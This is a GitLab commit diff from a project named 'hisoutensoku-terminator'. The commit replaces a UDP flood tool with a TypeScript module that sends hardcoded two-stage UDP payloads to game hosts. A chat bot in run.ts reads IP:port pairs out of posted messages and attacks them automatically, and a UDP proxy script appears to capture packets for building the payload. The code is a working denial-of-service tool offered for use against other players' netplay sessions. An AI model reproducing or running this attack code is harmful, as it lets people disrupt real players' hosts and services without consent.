Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
H
hisoutensoku-terminator
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
hisoutensoku-terminator
Commits
1f53c82e
Commit
1f53c82e
authored
Jun 06, 2020
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
use hisoutensoku protocol
parent
9eea9b7d
Changes
10
Hide whitespace changes
Inline
Side-by-side
Showing
10 changed files
with
110 additions
and
51 deletions
+110
-51
.dockerignore
.dockerignore
+1
-1
.gitignore
.gitignore
+1
-1
.gitmodules
.gitmodules
+0
-3
Dockerfile
Dockerfile
+0
-9
attacker.ts
attacker.ts
+64
-0
fetch.ts
fetch.ts
+26
-0
package-lock.json
package-lock.json
+5
-0
package.json
package.json
+1
-0
run.ts
run.ts
+12
-36
udpflood
udpflood
+0
-1
No files found.
.dockerignore
View file @
1f53c82e
...
...
@@ -103,7 +103,7 @@ dist
# TernJS port file
.tern-port
/
run
.js
/
*
.js
/config.yaml
.dockerignore
...
...
.gitignore
View file @
1f53c82e
...
...
@@ -103,5 +103,5 @@ dist
# TernJS port file
.tern-port
/
run
.js
/
*
.js
/config.yaml
.gitmodules
deleted
100644 → 0
View file @
9eea9b7d
[submodule "udpflood"]
path = udpflood
url = https://github.com/purerosefallen/udpflood
Dockerfile
View file @
1f53c82e
FROM
debian:buster-slim as builder
RUN
apt update
&&
\
apt
-y
install
build-essential
&&
\
rm
-rf
/var/lib/apt/lists/
*
/tmp/
*
/var/tmp/
*
COPY
./udpflood /usr/src/app
WORKDIR
/usr/src/app
RUN
make
-j
$(
nproc
)
FROM
node:buster-slim
RUN
npm
-g
install
typescript ts-node
...
...
attacker.ts
0 → 100644
View file @
1f53c82e
import
*
as
dgram
from
"
dgram
"
;
const
message_stage1
=
[
1
,
2
,
0
,
42
,
49
,
127
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
2
,
0
,
42
,
49
,
127
,
0
,
0
,
1
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
109
,
44
,
0
,
0
];
const
message_stage2
=
[
5
,
110
,
115
,
101
,
217
,
255
,
196
,
110
,
72
,
141
,
124
,
161
,
146
,
49
,
52
,
114
,
149
,
16
,
0
,
1
,
0
,
40
,
0
,
0
,
0
,
1
,
9
,
112
,
114
,
111
,
102
,
105
,
108
,
101
,
49
,
112
,
0
,
0
,
0
,
0
,
0
,
81
,
57
,
68
,
0
,
74
,
2
,
65
,
8
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
0
,
51
,
1
,
0
,
0
,
18
,
0
,
0
,
0
];
function
sendMessage
(
socket
:
any
,
message
:
number
[]):
Promise
<
any
>
{
return
new
Promise
(
done
=>
{
socket
.
send
(
Buffer
.
from
(
message
),
done
);
});
}
function
waitForReply
(
socket
:
any
,
intervalMessage
:
number
[]):
Promise
<
boolean
>
{
const
intv
=
setInterval
(
sendMessage
,
500
,
socket
,
intervalMessage
);
return
new
Promise
(
done
=>
{
socket
.
once
(
"
message
"
,
(
msg
:
Buffer
,
rinfo
:
any
)
=>
{
if
(
msg
.
length
===
1
&&
msg
.
readUInt8
(
0
)
===
3
)
{
clearInterval
(
intv
);
done
(
true
);
}
});
setTimeout
(()
=>
{
clearInterval
(
intv
);
done
(
false
);
},
10000
);
});
}
export
async
function
attack
(
address
:
string
,
port
:
number
):
Promise
<
string
>
{
const
socket
=
dgram
.
createSocket
(
"
udp4
"
);
let
err
;
err
=
await
new
Promise
(
done
=>
{
socket
.
connect
(
port
,
address
,
done
);
});
if
(
err
)
{
return
`Failed to connect:
${
err
.
toString
()}
`
;
}
err
=
await
sendMessage
(
socket
,
message_stage1
);
if
(
err
)
{
return
`Failed to send stage 1:
${
err
.
toString
()}
`
;
}
//console.log("Waiting for reply...");
if
(
!
await
waitForReply
(
socket
,
message_stage1
))
{
return
`Empty reply.`
;
}
err
=
await
sendMessage
(
socket
,
message_stage2
);
if
(
err
)
{
return
`Failed to send stage 2:
${
err
.
toString
()}
`
;
}
socket
.
close
();
return
null
;
}
fetch.ts
0 → 100644
View file @
1f53c82e
import
*
as
proxy
from
"
udp-proxy
"
;
const
listen
:
number
=
parseInt
(
process
.
argv
[
2
]);
const
[
targetHost
,
targetPortRaw
]
=
process
.
argv
[
3
].
split
(
"
:
"
);
const
targetPort
=
parseInt
(
targetPortRaw
);
const
server
=
proxy
.
createServer
({
address
:
targetHost
,
port
:
targetPort
,
localport
:
listen
});
const
outbound
:
number
[][]
=
[];
const
inbound
:
number
[][]
=
[];
server
.
on
(
"
message
"
,
(
message
:
Buffer
,
sender
:
any
)
=>
{
const
bufferArray
=
message
.
toJSON
().
data
;
outbound
.
push
(
bufferArray
);
console
.
log
(
"
outbound
"
,
bufferArray
);
});
server
.
on
(
'
proxyMsg
'
,
function
(
message
:
Buffer
,
sender
,
peer
)
{
const
bufferArray
=
message
.
toJSON
().
data
;
inbound
.
push
(
bufferArray
);
console
.
log
(
"
inbound
"
,
bufferArray
);
});
package-lock.json
View file @
1f53c82e
...
...
@@ -581,6 +581,11 @@
"mime-types"
:
"~2.1.24"
}
},
"udp-proxy"
:
{
"version"
:
"1.2.0"
,
"resolved"
:
"https://registry.npmjs.org/udp-proxy/-/udp-proxy-1.2.0.tgz"
,
"integrity"
:
"sha512-LywoS+04QWFmxZxZUv/rl+soygXEo3HCIk1p0N1x395WmvT9RZI82nuVo7sKQX5C+khco5VU724BC6dGqhND3Q=="
},
"underscore"
:
{
"version"
:
"1.10.2"
,
"resolved"
:
"https://registry.npmjs.org/underscore/-/underscore-1.10.2.tgz"
,
...
...
package.json
View file @
1f53c82e
...
...
@@ -26,6 +26,7 @@
"
@types/yaml
"
:
"
^1.9.7
"
,
"
bunyan
"
:
"
^1.8.12
"
,
"
cqhttp
"
:
"
^1.2.0
"
,
"
udp-proxy
"
:
"
^1.2.0
"
,
"
underscore
"
:
"
^1.10.2
"
,
"
yaml
"
:
"
^1.10.0
"
}
...
...
run.ts
View file @
1f53c82e
...
...
@@ -4,7 +4,7 @@ import * as CQHttp from "cqhttp";
import
*
as
_
from
"
underscore
"
;
import
*
as
yaml
from
"
yaml
"
;
import
{
spawn
}
from
"
child_process
"
;
import
*
as
os
from
"
os
"
;
import
{
attack
}
from
"
./attacker
"
;
interface
CoolQConfig
{
apiRoot
:
string
;
...
...
@@ -33,43 +33,19 @@ function sleep(time: number): Promise<void> {
});
};
function
attack
(
address
:
string
,
port
:
number
):
Promise
<
void
>
{
async
function
startAttack
(
address
:
string
,
port
:
number
):
Promise
<
boolean
>
{
if
(
_
.
contains
(
config
.
addressWhitelist
,
address
))
{
log
.
info
(
`Attack of
${
address
}
:
${
port
}
skipped.`
);
return
new
Promise
((
done
)
=>
{
done
();
})
return
false
;
}
log
.
info
(
`Attack of
${
address
}
:
${
port
}
started.`
);
const
attackProcess
=
spawn
(
"
udpflood
"
,
[
"
-t
"
,
address
,
"
-p
"
,
port
.
toString
()]);
setTimeout
(()
=>
{
attackProcess
.
kill
();
},
config
.
attackTimeout
);
attackProcess
.
stdout
.
setEncoding
(
"
utf-8
"
);
attackProcess
.
stdout
.
on
(
"
data
"
,
(
data
)
=>
{
log
.
info
(
`
${
address
}
:
${
port
}
STDOUT =>`
,
data
);
});
attackProcess
.
stderr
.
setEncoding
(
"
utf-8
"
);
attackProcess
.
stderr
.
on
(
"
data
"
,
(
data
)
=>
{
log
.
info
(
`
${
address
}
:
${
port
}
STDERR =>`
,
data
);
});
return
new
Promise
(
done
=>
{
let
check
=
false
;
attackProcess
.
on
(
"
exit
"
,
(
code
,
signal
)
=>
{
log
.
info
(
`Attack of
${
address
}
:
${
port
}
exited.`
);
if
(
!
check
)
{
check
=
true
;
done
();
}
});
attackProcess
.
on
(
"
error
"
,
(
error
)
=>
{
log
.
info
(
`Attack of
${
address
}
:
${
port
}
errored:
${
error
.
message
}
`
);
if
(
!
check
)
{
check
=
true
;
done
();
}
});
});
const
err
=
await
attack
(
address
,
port
);
if
(
err
)
{
log
.
warn
(
`Attack of
${
address
}
:
${
port
}
failed:
${
err
}
`
);
}
else
{
log
.
warn
(
`Attack of
${
address
}
:
${
port
}
succeeded.`
);
}
return
!
err
;
}
async
function
messageHandler
(
data
:
any
):
Promise
<
void
>
{
...
...
@@ -84,9 +60,9 @@ async function messageHandler(data: any): Promise<void> {
const
attackPromises
=
messageMatch
.
map
(
pattern
=>
{
const
[
address
,
portRaw
]
=
pattern
.
split
(
"
:
"
);
const
port
=
parseInt
(
portRaw
);
return
a
ttack
(
address
,
port
);
return
startA
ttack
(
address
,
port
);
});
await
Promise
.
all
(
attackPromises
);
const
results
:
boolean
[]
=
await
Promise
.
all
(
attackPromises
);
}
async
function
main
():
Promise
<
void
>
{
...
...
udpflood
@
162a5e50
Subproject commit 162a5e50fd1428e267085c076ad4ab532f1b7f67
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment